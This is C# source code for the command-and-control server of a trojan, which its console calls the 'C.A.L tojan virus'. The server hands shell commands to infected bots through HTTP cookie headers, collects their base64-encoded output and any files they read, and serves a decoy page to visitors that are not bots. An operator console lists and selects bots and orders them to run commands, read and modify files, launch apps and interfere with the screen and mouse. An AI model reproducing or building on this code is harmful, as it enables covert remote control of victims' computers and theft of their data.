// post --> bot has returned a result from a previous command
private void handlePOST(Slave slave, HttpListenerRequest request, HttpListenerResponse response)
{
if (!request.HasEntityBody)
{
return;
}
using (System.IO.Stream body = request.InputStream) // here we have data
{
using (System.IO.StreamReader reader = new System.IO.StreamReader(body, request.ContentEncoding))
{
// write to stdout
if (slave.redirectFile == null)
{
var base64EncodedBytes = System.Convert.FromBase64String(reader.ReadToEnd());
slave.update(System.Text.Encoding.UTF8.GetString(base64EncodedBytes));
}
// write to file
else
{
using (FileStream fs2 = new FileStream(slave.redirectFile, FileMode.Create))
using (BinaryWriter bw = new BinaryWriter(fs2))
{
byte[] data = Convert.FromBase64String(reader.ReadToEnd());
bw.Write(data);
slave.redirectFile = null;
}
}
}
}
}
// This example requires the System and System.Net namespaces.
public void run()
{
while (true)
{
// Note: The GetContext method blocks while waiting for a request.
HttpListenerContext context = listener.GetContext();
HttpListenerRequest request = context.Request;
HttpListenerResponse response = context.Response;
// figure out if a bot or not
string uuid = request.Headers.Get("cookie");
if (uuid == null)
{ // check if it's our bot. If not send fakepage
sendFake(request, response);
continue;
}
// identify the bot
Slave slave = null;
foreach (Slave s in slaves)
{
if (s.UUID.CompareTo(uuid) == 0)
{
slave = s; break;
}
}
// add him in our memory if not existing
if (slave == null)
{
slave = new Slave(uuid);
slaves.Add(slave);
}
// Different behaviour depending on HTTP method
switch (request.HttpMethod)
{
case "GET":
handleGET(slave, request, response);
break;
case "POST":
handlePOST(slave, request, response);
break;
default:
Console.Error.WriteLine("UNKOWN HTTP METHOD: " + request.HttpMethod);
break;
}
sendOk(request, response);
// go through the bots and clean the ones that timed out
//cleanupSlaves();
}
}
// get --> bot asks for cmds to execute
private void handleGET(Slave slave, HttpListenerRequest request, HttpListenerResponse response)
{
if (slave.noCmds())
{ // check if slave has commands to execute
response.AppendHeader("cookie", "");
}
else
{
string cmd = slave.getcmd();
if (cmd.Contains(">"))
{ // if redirect
string[] elements = cmd.Split(new Char[] { '>' });
slave.redirectFile = elements[1];
response.AppendHeader("cookie", elements[0]);
}
else
{ // send command from buffer
response.AppendHeader("cookie", cmd);
}
}
}
public void run()
{
Console.WriteLine("Welcome to the c&c console for the C.A.L tojan virus. Type help for help.");
while (true)
{
Console.Write(">");
string cmd = Console.ReadLine();
string[] elements = cmd.Split(' ');
// make sure bot is still up
if (crtSlave != null)
{
if (crtSlave.isExpired())
{
crtSlave = null;
Console.WriteLine("WARNING: selected bot: timed out");
}
}
// decide
switch (elements[0])
{
case "list":
int i = 0;
foreach (Slave s in program.slaves)
{
Console.WriteLine(i++ + ": " + s);
}
// clean up timed out bots
program.cleanupSlaves();
break;
case "select":
int index = int.Parse(elements[1]);
crtSlave = (Slave)program.slaves[index];
Console.WriteLine("Selected bot " + index);
break;
case "which":
if (crtSlave == null)
{
Console.WriteLine("No bot selected");
}
else
{
Console.WriteLine(crtSlave);
}
break;
case "output":
if (crtSlave != null)
{
Console.WriteLine("Output from " + crtSlave.lastoutput.ToLongTimeString() +
" to " + DateTime.Now.ToLongTimeString());
Console.Out.WriteLine(crtSlave.getResponses());
}
else
{
Console.Write("not bot selected");
}
break;
case "quit":
System.Environment.Exit(0);
break;
case "cmd":
case "read":
case "update":
case "run":
case "rotate":
case "invert":
case "exit":
case "message":
if (crtSlave != null)
{
crtSlave.assigncmd(cmd);
}
else
{
Console.Write("no bot selected");
}
break;
case "help":
Console.WriteLine("list - list active bots\n" +
"select X - select a bot from the list\n" +
"which - show selected bot\n" +
"output - show the output of previous commands (if received)\n" +
"quit - shutdown the C&C server\n" +
"\n" +
"BOT ACTIONS:\n" +
"cmd <cmd command> - runs a shell command\n" +
"read <bot file> - prints the contents of a file\n" +
"update <bot file> <text> - appends text to the end of the file\n" +
"run <app> - runs an app (eg. chrome)\n" +
"rotate {0, 90, 180, 270} - rotate bot's screen\n" +
"invert {0,1} - invert bot's mouse movement\n" +
"exit - shutdown bot\n" +
"message <text> - open a textbox with said text");
break;
default:
Console.Out.WriteLine("invalid command");
break;
}
Console.WriteLine();
}
}
public CCterm(CCprog program)
{
this.program = program;
crtSlave = null;
}
